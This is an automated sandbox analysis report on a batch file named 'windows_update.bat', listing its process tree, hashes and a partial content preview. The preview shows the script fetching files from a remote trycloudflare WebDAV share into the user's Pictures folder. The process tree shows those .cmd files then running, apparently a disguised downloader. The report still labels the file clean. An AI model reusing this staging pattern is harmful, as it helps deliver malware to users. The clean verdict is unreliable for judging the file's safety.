Windows
Analysis Report
windows_update.bat
Overview
General Information
Detection
Score: | 2 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 80% |
Signatures
Classification
- System is w10x64
cmd.exe (PID: 6332 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\windo ws_update. bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 2016 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 6856 cmdline:
C:\Windows \system32\ cmd.exe /K "C:\Users \user\Desk top\window s_update.b at" MY_FLA G MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 6944 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 992 cmdline:
cmd /c ""C :\Users\us er\Picture s\kam.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 5672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 1836 cmdline:
cmd /c ""C :\Users\us er\Picture s\las.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 5576 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 3192 cmdline:
cmd /c ""C :\Users\us er\Picture s\zap.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 4088 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 2580 cmdline:
cmd /c ""C :\Users\us er\Picture s\xff.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 5972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
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There are no malicious signatures, click here to show all signatures.
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Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
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Gather Victim Identity Information | 1 Scripting | Valid Accounts | Windows Management Instrumentation | 1 Scripting | 11 Process Injection | 11 Process Injection | OS Credential Dumping | 1 System Information Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | Scheduled Task/Job | 1 DLL Side-Loading | 1 DLL Side-Loading | 1 DLL Side-Loading | LSASS Memory | Application Window Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
0% | ReversingLabs |
Joe Sandbox version: | 40.0.0 Tourmaline |
Analysis ID: | 1446631 |
Start date and time: | 2024-05-23 18:23:11 +02:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 4m 0s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 15 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | windows_update.bat |
Detection: | CLEAN |
Classification: | clean2.winBAT@17/0@0/0 |
EGA Information: | Failed |
HCA Information: |
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Cookbook Comments: |
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- Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
- Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Not all processes where analyzed, report is missing behavior information
- VT rate limit hit for: windows_update.bat
File type: | |
Entropy (8bit): | 5.0269371675017895 |
TrID: | |
File name: | windows_update.bat |
File size: | 733 bytes |
MD5: | bd5cd31c13835577788478ffeb2acfe9 |
SHA1: | c76d09b92859d99c64ed432d04e7b5d7c9bb341d |
SHA256: | 132951c84910600279fb9e2e2d55c307fd015dfdb34630b8b8f6c2ae3dae87e7 |
SHA512: | e71b52f6af437c423a39b3700b0f71018230a82821d030ce16562fd0e57ab17350a6f071eb5e8050bd91e30f2a74626d1ccfc798c7a595253a62f37d4bb2320d |
SSDEEP: | 12:lFrUHZM122vW8X0zOwwMrRb3HHJQNPJQZvJQeTJQqbkzwwZzXVHJQiJQpnJQW3QN:lcZc22vt0zOw9rRbXpQjQZhQelQ6IzXf |
TLSH: | 3C01249B044E8231B2672BBAE3750A9B696910C9C141390870FAC6FF5B33A54537267C |
File Content Preview: | @echo off..if "%1" == "" start "" /min "%~f0" MY_FLAG && exit....set source=\\maintenance-princess-musical-vocational.trycloudflare.com@SSL\DavWWWRoot\google\windows_update..set destination=%USERPROFILE%\Pictures............REM Copy kam.cmd, xff.cmd, zap. |
Icon Hash: | 9686878b929a9886 |
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Target ID: | 1 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 2 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 3 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 4 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 5 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 6 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 7 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 8 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 9 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 10 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70f550000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 11 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 12 |
Start time: | 12:23:58 |
Start date: | 23/05/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |